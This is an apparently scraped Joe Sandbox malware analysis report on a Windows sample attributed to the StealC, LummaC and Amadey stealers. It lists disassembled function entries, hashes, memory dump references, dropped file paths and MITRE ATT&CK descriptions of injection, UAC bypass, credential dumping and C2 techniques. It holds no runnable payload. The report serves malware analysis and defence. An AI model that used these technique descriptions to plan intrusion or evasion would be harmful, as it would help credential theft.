Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9E$csm
API String ID: 1170836740-3839479900
Opcode ID: 10c02d98f3411fd0369cc8a97f6bdc0cbffb1c8c9bb3fac7cb60bf13d22da39b
Instruction ID: 86341e92d204cafa0a8bb0b20897b187d5a693c934e4e298f023ebd9f68f05b5
Opcode Fuzzy Hash: 10c02d98f3411fd0369cc8a97f6bdc0cbffb1c8c9bb3fac7cb60bf13d22da39b
Instruction Fuzzy Hash: 1151F774A001089BCF10DF29C881AAF7BA5AF8531DF14805BEC189F353D73ADA99CB95

Function 00422EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00422F5F
__Mtx_unlock.LIBCPMT ref: 00422FCC
__Cnd_broadcast.LIBCPMT ref: 00422FE3
__Mtx_unlock.LIBCPMT ref: 004230F5
__Mtx_unlock.LIBCPMT ref: 0042319B

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 713f0b26ead2bbaabd60f3705c9e551e276a2f41394ecca9f7a06aeeaaf90650
Instruction ID: 650d3f24b1cd8116934200f51ce90d90648e0fcbe2cdd01eb4e3af133768ad8f
Opcode Fuzzy Hash: 713f0b26ead2bbaabd60f3705c9e551e276a2f41394ecca9f7a06aeeaaf90650
Instruction Fuzzy Hash: E0A100B0A00215AFEB10DF65D94576BB7B8FF08315F40416AE805E7381EB7DEA14CBA9

Function 0045F35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0045F3A3

Strings

,mE, xrefs: 0045F367, 0045F49B
8"H, xrefs: 0045F44B
`'H, xrefs: 0045F375

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,mE$8"H$`'H
API String ID: 3903695350-1443880406
Opcode ID: 3c4fb7f4aa1803d1c06df0141b0cfa8a9d32960c781c46d641a3cf9819939f3f
Instruction ID: b4b5b3c7523714beebb7da04eedf29178047c3db812dcb883f52cb397ff14945
Opcode Fuzzy Hash: 3c4fb7f4aa1803d1c06df0141b0cfa8a9d32960c781c46d641a3cf9819939f3f
Instruction Fuzzy Hash: 44316D31500201DFEB20AA3AD885B5B73E6EF01357F10452BEC45D7696DF78A89CCB1A

Function 0045CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0045CC66

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: bff765ab08ae7aa68223dee724fbf411fe71a0975c289223007d7c3315663473
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 07B102329043459FDB118F28C8C27AEBBB5EF45345F14416BDC45EB342D6389D4ACBA9

Function 0043BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0043BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0043BBE4
_xtime_get.LIBCPMT ref: 0043BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0043BC13

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: bfb9c9c68283442b2181d6efad36093f299a81cf9118f7338cdb111c856ded52
Instruction ID: 95de55cb87e763e67f5de6bc3101b69e72a1a82529d3f098064d4f0973f03a58
Opcode Fuzzy Hash: bfb9c9c68283442b2181d6efad36093f299a81cf9118f7338cdb111c856ded52
Instruction Fuzzy Hash: E32130759001199FDF00EFA5C8829BEB779EF0C714F10106AF601B7291DB34AD019B94

Function 0042E360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0042E4F9

Strings

invalid stoi argument, xrefs: 0042E4F4
L1H, xrefs: 0042E394

Memory Dump Source

Source File: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00420000, based on PE: true

Associated: 00000011.00000002.2511917771.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2512114428.0000000000482000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2513583583.0000000000489000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000048B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.00000000006F4000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000721000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.000000000072B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2514013755.0000000000739000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2519818043.000000000073A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522100530.00000000008D3000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.2522437495.00000000008D5000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1H$invalid stoi argument
API String ID: 909987262-1970805691
Opcode ID: 3c636909025c0c6f5713c136162fc75c31e5b3b01a95e8862a90292024a85fb7
Instruction ID: bc3f5709063ad443e7d95a08ef477e919b28448b911d9d36ad5da01d8b659c2a
Opcode Fuzzy Hash: 3c636909025c0c6f5713c136162fc75c31e5b3b01a95e8862a90292024a85fb7
Instruction Fuzzy Hash: C6F0C871500210ABC720AF69AC0695B3398D749B16F00483FED1497252EB746C0087AF

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\test[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre